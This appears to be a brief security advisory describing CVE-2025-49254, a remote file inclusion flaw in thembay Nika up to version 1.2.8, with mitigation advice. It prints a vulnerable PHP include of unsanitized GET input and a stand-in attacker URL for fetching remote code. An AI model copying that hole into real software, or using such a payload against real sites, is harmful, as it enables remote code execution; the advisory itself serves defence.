Overview
The heightened reliance on software and digital systems makes security vulnerabilities a significant concern for businesses and individuals alike. A newly identified vulnerability tagged as CVE-2025-49254 threatens the security landscape, specifically impacting PHP programs developed with the thembay Nika framework. This vulnerability is particularly worrisome due to its potential to compromise systems or cause data leakage-making it a potential goldmine for cybercriminals looking to disrupt operations or steal sensitive information.
Vulnerability Summary
CVE ID: CVE-2025-49254
Severity: Critical (CVSS Score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
thembay Nika | Up to and including 1.2.8
How the Exploit Works
The vulnerability occurs due to improper control over the filename in PHP ‘include’ or ‘require’ statements. An attacker can manipulate these statements to include files from remote servers. This process, known as Remote File Inclusion (RFI), allows the attacker to inject and execute arbitrary code on the server, potentially compromising the system or leading to data leakage.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
<?php
// User input is not properly sanitized
$fileName = $_GET['file'];
// The server includes the specified file
include($fileName . '.php');
?>In this example, a malicious actor could manipulate the ‘file‘ parameter in the GET request to point to a remote file, such as `http://attacker.com/malicious`. This would result in the server including `http://attacker.com/malicious.php`, executing any PHP code contained within.
Mitigation Guidance
System administrators and users of thembay Nika are advised to urgently apply the vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent an exploit. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.